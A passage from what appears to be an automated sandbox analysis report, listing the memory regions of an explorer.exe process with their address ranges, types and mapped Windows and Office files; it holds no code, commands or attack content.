mapped_file name = "msutb.dll.mui" filename = "\\Windows\\System32\\en-US\\msutb.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msutb.dll.mui") Region: id = 3803 start_va = 0x4270000 end_va = 0x4270fff entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 3804 start_va = 0x4280000 end_va = 0x4280fff entry_point = 0x0 region_type = private name = "private_0x0000000004280000" filename = "" Region: id = 3805 start_va = 0x4290000 end_va = 0x4290fff entry_point = 0x0 region_type = private name = "private_0x0000000004290000" filename = "" Region: id = 3806 start_va = 0x42a0000 end_va = 0x42a0fff entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 3807 start_va = 0x42b0000 end_va = 0x42b0fff entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 3808 start_va = 0x42c0000 end_va = 0x42c0fff entry_point = 0x0 region_type = private name = "private_0x00000000042c0000" filename = "" Region: id = 3809 start_va = 0x42d0000 end_va = 0x42d0fff entry_point = 0x0 region_type = private name = "private_0x00000000042d0000" filename = "" Region: id = 3810 start_va = 0x42e0000 end_va = 0x42e0fff entry_point = 0x0 region_type = private name = "private_0x00000000042e0000" filename = "" Region: id = 3811 start_va = 0x42f0000 end_va = 0x436ffff entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 3812 start_va = 0x4370000 end_va = 0x4370fff entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 3813 start_va = 0x4380000 end_va = 0x4380fff entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 3814 start_va = 0x4390000 end_va = 0x4390fff entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 3815 start_va = 0x43a0000 end_va = 0x43a0fff entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 3816 start_va = 0x43b0000 end_va = 0x43e2fff entry_point = 0x0 region_type = private name = "private_0x00000000043b0000" filename = "" Region: id = 3817 start_va = 0x43f0000 end_va = 0x43f0fff entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 3818 start_va = 0x4400000 end_va = 0x4400fff entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 3819 start_va = 0x4410000 end_va = 0x4411fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004410000" filename = "" Region: id = 3820 start_va = 0x4420000 end_va = 0x446ffff entry_point = 0x0 region_type = private name = "private_0x0000000004420000" filename = "" Region: id = 3821 start_va = 0x4470000 end_va = 0x44b7fff entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 3822 start_va = 0x44c0000 end_va = 0x44c0fff entry_point = 0x44c0000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db") Region: id = 3823 start_va = 0x44d0000 end_va = 0x454ffff entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 3824 start_va = 0x4550000 end_va = 0x4550fff entry_point = 0x4550000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 3825 start_va = 0x4560000 end_va = 0x4563fff entry_point = 0x0 region_type = private name = "private_0x0000000004560000" filename = "" Region: id = 3826 start_va = 0x4570000 end_va = 0x4571fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004570000" filename = "" Region: id = 3827 start_va = 0x4580000 end_va = 0x4580fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004580000" filename = "" Region: id = 3828 start_va = 0x4590000 end_va = 0x4590fff entry_point = 0x4590000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db") Region: id = 3829 start_va = 0x45a0000 end_va = 0x45a0fff entry_point = 0x45a0000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db") Region: id = 3830 start_va = 0x45b0000 end_va = 0x45b0fff entry_point = 0x45b0000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db") Region: id = 3831 start_va = 0x45c0000 end_va = 0x463ffff entry_point = 0x0 region_type = private name = "private_0x00000000045c0000" filename = "" Region: id = 3832 start_va = 0x4640000 end_va = 0x4640fff entry_point = 0x4640000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 3833 start_va = 0x4650000 end_va = 0x4650fff entry_point = 0x4650000 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\System32\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\system32\\en-us\\wdmaud.drv.mui") Region: id = 3834 start_va = 0x4660000 end_va = 0x4660fff entry_point = 0x4660000 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 3835 start_va = 0x4670000 end_va = 0x4671fff entry_point = 0x0 region_type = private name = "private_0x0000000004670000" filename = "" Region: id = 3836 start_va = 0x4680000 end_va = 0x4681fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004680000" filename = "" Region: id = 3837 start_va = 0x4690000 end_va = 0x4691fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004690000" filename = "" Region: id = 3838 start_va = 0x46a0000 end_va = 0x46a0fff entry_point = 0x0 region_type = private name = "private_0x00000000046a0000" filename = "" Region: id = 3839 start_va = 0x46b0000 end_va = 0x472ffff entry_point = 0x0 region_type = private name = "private_0x00000000046b0000" filename = "" Region: id = 3840 start_va = 0x4730000 end_va = 0x4730fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004730000" filename = "" Region: id = 3841 start_va = 0x4790000 end_va = 0x480ffff entry_point = 0x0 region_type = private name = "private_0x0000000004790000" filename = "" Region: id = 3842 start_va = 0x4860000 end_va = 0x48dffff entry_point = 0x0 region_type = private name = "private_0x0000000004860000" filename = "" Region: id = 3843 start_va = 0x48e0000 end_va = 0x49dffff entry_point = 0x48e0000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db") Region: id = 3844 start_va = 0x49e0000 end_va = 0x4adffff entry_point = 0x49e0000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db") Region: id = 3845 start_va = 0x4b50000 end_va = 0x4bcffff entry_point = 0x0 region_type = private name = "private_0x0000000004b50000" filename = "" Region: id = 3846 start_va = 0x4bd0000 end_va = 0x4ccffff entry_point = 0x4bd0000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 3847 start_va = 0x4cf0000 end_va = 0x4d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004cf0000" filename = "" Region: id = 3848 start_va = 0x4d90000 end_va = 0x4e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 3849 start_va = 0x4e20000 end_va = 0x4e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e20000" filename = "" Region: id = 3850 start_va = 0x4ec0000 end_va = 0x4f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004ec0000" filename = "" Region: id = 3851 start_va = 0x4f50000 end_va = 0x504ffff entry_point = 0x4f50000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 3852 start_va = 0x5050000 end_va = 0x5452fff entry_point = 0x0 region_type = private name = "private_0x0000000005050000" filename = "" Region: id = 3853 start_va = 0x5460000 end_va = 0x54dffff entry_point = 0x0 region_type = private name = "private_0x0000000005460000" filename = "" Region: id = 3854 start_va = 0x5540000 end_va = 0x554ffff entry_point = 0x0 region_type = private name = "private_0x0000000005540000" filename = "" Region: id = 3855 start_va = 0x5550000 end_va = 0x55cffff entry_point = 0x0 region_type = private name = "private_0x0000000005550000" filename = "" Region: id = 3856 start_va = 0x5620000 end_va = 0x569ffff entry_point = 0x0 region_type = private name = "private_0x0000000005620000" filename = "" Region: id = 3857 start_va = 0x56f0000 end_va = 0x576ffff entry_point = 0x0 region_type = private name = "private_0x00000000056f0000" filename = "" Region: id = 3858 start_va = 0x5790000 end_va = 0x580ffff entry_point = 0x0 region_type = private name = "private_0x0000000005790000" filename = "" Region: id = 3859 start_va = 0x5930000 end_va = 0x59affff entry_point = 0x0 region_type = private name = "private_0x0000000005930000" filename = "" Region: id = 3860 start_va = 0x59b0000 end_va = 0x5a6ffff entry_point = 0x59b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3861 start_va = 0x5aa0000 end_va = 0x5b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000005aa0000" filename = "" Region: id = 3862 start_va = 0x5b30000 end_va = 0x5b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000005b30000" filename = "" Region: id = 3863 start_va = 0x5b40000 end_va = 0x5bbffff entry_point = 0x0 region_type = private name = "private_0x0000000005b40000" filename = "" Region: id = 3864 start_va = 0x5ce0000 end_va = 0x5ceffff entry_point = 0x0 region_type = private name = "private_0x0000000005ce0000" filename = "" Region: id = 3865 start_va = 0x5ed0000 end_va = 0x5f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 3866 start_va = 0x73dc0000 end_va = 0x73dc5fff entry_point = 0x73dc0000 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 3867 start_va = 0x753c0000 end_va = 0x753eefff entry_point = 0x753c0000 region_type = mapped_file name = "atl90.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895\\ATL90.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895\\atl90.dll") Region: id = 3868 start_va = 0x753f0000 end_va = 0x75492fff entry_point = 0x753f0000 region_type = mapped_file name = "msvcr90.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\\msvcr90.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\\msvcr90.dll") Region: id = 3869 start_va = 0x754f0000 end_va = 0x755c2fff entry_point = 0x754f0000 region_type = mapped_file name = "msvcp90.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\\msvcp90.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\\msvcp90.dll") Region: id = 3870 start_va = 0x77690000 end_va = 0x777aefff entry_point = 0x77690000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3871 start_va = 0x777b0000 end_va = 0x778a9fff entry_point = 0x777b0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3872 start_va = 0x778b0000 end_va = 0x77a58fff entry_point = 0x778b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3873 start_va = 0x77a70000 end_va = 0x77a76fff entry_point = 0x77a70000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 3874 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3875 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3876 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3877 start_va = 0xffb00000 end_va = 0xffdbffff entry_point = 0xffb00000 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 3878 start_va = 0x7fef5b00000 end_va = 0x7fef5b0bfff entry_point = 0x7fef5b00000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 3879 start_va = 0x7fef7420000 end_va = 0x7fef7483fff entry_point = 0x7fef7420000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 3880 start_va = 0x7fef7490000 end_va = 0x7fef7500fff entry_point = 0x7fef7490000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 3881 start_va = 0x7fef7620000 end_va = 0x7fef77dcfff entry_point = 0x7fef7620000 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" (normalized: "c:\\windows\\system32\\pnidui.dll") Region: id = 3882 start_va = 0x7fef77e0000 end_va = 0x7fef789cfff entry_point = 0x7fef77e0000 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 3883 start_va = 0x7fef7ab0000 end_va = 0x7fef7d3afff entry_point = 0x7fef7ab0000 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 3884 start_va = 0x7fef8070000 end_va = 0x7fef80e3fff entry_point = 0x7fef8070000 region_type = mapped_file name = "dxp.dll" filename = "\\Windows\\System32\\DXP.dll" (normalized: "c:\\windows\\system32\\dxp.dll") Region: id = 3885 start_va = 0x7fef8230000 end_va = 0x7fef827efff entry_point = 0x7fef8230000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 3886 start_va = 0x7fef82c0000 end_va = 0x7fef82fafff entry_point = 0x7fef82c0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 3887 start_va = 0x7fef8350000 end_va = 0x7fef83c0fff entry_point = 0x7fef8350000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 3888 start_va = 0x7fef83d0000 end_va = 0x7fef8438fff entry_point = 0x7fef83d0000 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 3889 start_va = 0x7fef8440000 end_va = 0x7fef84f9fff entry_point = 0x7fef8440000 region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" (normalized: "c:\\windows\\system32\\batmeter.dll") Region: id = 3890 start_va = 0x7fef85a0000 end_va = 0x7fef873bfff entry_point = 0x7fef85a0000 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll") Region: id = 3891 start_va = 0x7fef87d0000 end_va = 0x7fef8aa1fff entry_point = 0x7fef87d0000 region_type = mapped_file name = "themeui.dll" filename = "\\Windows\\System32\\themeui.dll" (normalized: "c:\\windows\\system32\\themeui.dll") Region: id = 3892 start_va = 0x7fef8ab0000 end_va = 0x7fef8b2bfff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 3893 start_va = 0x7fef8c00000 end_va = 0x7fef8dd9fff entry_point = 0x7fef8c00000 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 3894 start_va = 0x7fef8e60000 end_va = 0x7fef8ea2fff entry_point = 0x7fef8e60000 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" (normalized: "c:\\windows\\system32\\stobject.dll") Region: id = 3895 start_va = 0x7fef8eb0000 end_va = 0x7fef8f9dfff entry_point = 0x7fef8eb0000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 3896 start_va = 0x7fef91c0000 end_va = 0x7fef91d7fff entry_point = 0x7fef91c0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3897 start_va = 0x7fef91e0000 end_va = 0x7fef91f0fff entry_point = 0x7fef91e0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3898 start_va = 0x7fef96b0000 end_va = 0x7fef9952fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "gameux.dll" filename = "\\Windows\\System32\\gameux.dll" (normalized: "c:\\windows\\system32\\gameux.dll") Region: id = 3899 start_va = 0x7fef9960000 end_va = 0x7fefa1c3fff entry_point = 0x7fef9960000 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\PROGRA~1\\MICROS~1\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\progra~1\\micros~1\\office14\\1033\\grooveintlresource.dll") Region: id = 3900 start_va = 0x7fefa1d0000 end_va = 0x7fefa5e9fff entry_point = 0x7fefa1d0000 region_type = mapped_file name = "office.odf" filename = "\\PROGRA~1\\COMMON~1\\MICROS~1\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\progra~1\\common~1\\micros~1\\office14\\cultures\\office.odf") Region: id = 3901 start_va = 0x7fefa5f0000 end_va = 0x7fefac60fff entry_point = 0x7fefa5f0000 region_type = mapped_file name = "grooveex.dll" filename = "\\PROGRA~1\\MICROS~1\\Office14\\GROOVEEX.DLL" (normalized: "c:\\progra~1\\micros~1\\office14\\grooveex.dll") Region: id = 3902 start_va = 0x7fefac70000 end_va = 0x7fefae84fff entry_point = 0x7fefac70000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 3903 start_va = 0x7fefae90000 end_va = 0x7fefaee6fff entry_point = 0x7fefae90000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3904 start_va = 0x7fefaf10000 end_va = 0x7fefaf2efff entry_point = 0x7fefaf10000 region_type = mapped_file name = "qutil.dll" filename = "\\Windows\\System32\\QUTIL.DLL" (normalized: "c:\\windows\\system32\\qutil.dll") Region: id = 3905 start_va = 0x7fefaf30000 end_va = 0x7fefb038fff entry_point = 0x7fefaf30000 region_type = mapped_file name = "cryptui.dll" filename = "\\Windows\\System32\\cryptui.dll" (normalized: "c:\\windows\\system32\\cryptui.dll") Region: id = 3906 start_va = 0x7fefb040000 end_va = 0x7fefb0befff entry_point = 0x7fefb040000 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 3907 start_va = 0x7fefb1a0000 end_va = 0x7fefb1aafff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3908 start_va = 0x7fefb1b0000 end_va = 0x7fefb1d6fff entry_point = 0x7fefb1b0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3909 start_va = 0x7fefb210000 end_va = 0x7fefb276fff entry_point = 0x7fefb210000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 3910 start_va = 0x7fefb280000 end_va = 0x7fefb28afff entry_point = 0x7fefb280000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 3911 start_va = 0x7fefb2b0000 end_va = 0x7fefb2c8fff entry_point = 0x7fefb2b0000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 3912 start_va = 0x7fefb310000 end_va = 0x7fefb324fff entry_point = 0x7fefb310000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3913 start_va = 0x7fefb440000 end_va = 0x7fefb566fff entry_point = 0x7fefb440000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3914 start_va = 0x7fefb670000 end_va = 0x7fefb678fff entry_point = 0x7fefb670000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 3915 start_va = 0x7fefb680000 end_va = 0x7fefb6abfff entry_point = 0x7fefb680000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3916 start_va = 0x7fefb760000 end_va = 0x7fefb78cfff entry_point = 0x7fefb760000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3917 start_va = 0x7fefb790000 end_va = 0x7fefb7c8fff entry_point = 0x7fefb790000 region_type = mapped_file name = "portabledevicetypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" (normalized: "c:\\windows\\system32\\portabledevicetypes.dll") Region: id = 3918 start_va = 0x7fefb970000 end_va = 0x7fefb9acfff entry_point = 0x7fefb970000 region_type = mapped_file name = "msutb.dll" filename = "\\Windows\\System32\\msutb.dll" (normalized: "c:\\windows\\system32\\msutb.dll") Region: id = 3919 start_va = 0x7fefb9e0000 end_va = 0x7fefb9fffff entry_point = 0x7fefb9e0000 region_type = mapped_file name = "wpdshserviceobj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" (normalized: "c:\\windows\\system32\\wpdshserviceobj.dll") Region: id = 3920 start_va = 0x7fefba00000 end_va = 0x7fefba13fff entry_point = 0x7fefba00000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 3921 start_va = 0x7fefba20000 end_va = 0x7fefba34fff entry_point = 0x7fefba20000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 3922 start_va = 0x7fefba40000 end_va = 0x7fefba4bfff entry_point = 0x7fefba40000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 3923 start_va = 0x7fefba90000 end_va = 0x7fefbaa5fff entry_point = 0x7fefba90000 region_type = mapped_file name = "syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" (normalized: "c:\\windows\\system32\\syncreg.dll") Region: id = 3924 start_va = 0x7fefbab0000 end_va = 0x7fefbb75fff entry_point = 0x7fefbab0000 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll") Region: id = 3925 start_va = 0x7fefbb80000 end_va = 0x7fefbb90fff entry_point = 0x7fefbb80000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3926 start_va = 0x7fefbba0000 end_va = 0x7fefbbaffff entry_point = 0x7fefbba0000 region_type = mapped_file name = "alttab.dll" filename = "\\Windows\\System32\\AltTab.dll" (normalized: "c:\\windows\\system32\\alttab.dll") Region: id = 3927 start_va = 0x7fefbbb0000 end_va = 0x7fefbcd9fff entry_point = 0x7fefbbb0000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 3928 start_va = 0x7fefbce0000 end_va = 0x7fefbd14fff entry_point = 0x7fefbce0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3929 start_va = 0x7fefbd20000 end_va = 0x7fefbd37fff entry_point = 0x7fefbd20000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3930 start_va = 0x7fefbd40000 end_va = 0x7fefbd8afff entry_point = 0x7fefbd40000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 3931 start_va = 0x7fefbd90000 end_va = 0x7fefbd9afff entry_point = 0x7fefbd90000 region_type = mapped_file name = "ehsso.dll" filename = "\\Windows\\ehome\\ehSSO.dll" (normalized: "c:\\windows\\ehome\\ehsso.dll") Region: id = 3932 start_va = 0x7fefbda0000 end_va = 0x7fefbdb7fff entry_point = 0x7fefbda0000 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\System32\\msacm32.dll" (normalized: "c:\\windows\\system32\\msacm32.dll") Region: id = 3933 start_va = 0x7fefbdc0000 end_va = 0x7fefbdfafff entry_point = 0x7fefbdc0000 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\System32\\wdmaud.drv" (normalized: "c:\\windows\\system32\\wdmaud.drv") Region: id = 3934 start_va = 0x7fefbe00000 end_va = 0x7fefbe3afff entry_point = 0x7fefbe00000 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\System32\\msls31.dll" (normalized: "c:\\windows\\system32\\msls31.dll") Region: id = 3935 start_va = 0x7fefbe40000 end_va = 0x7fefbe63fff entry_point = 0x7fefbe40000 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 3936 start_va = 0x7fefbe70000 end_va = 0x7fefbea3fff entry_point = 0x7fefbe70000 region_type = mapped_file name = 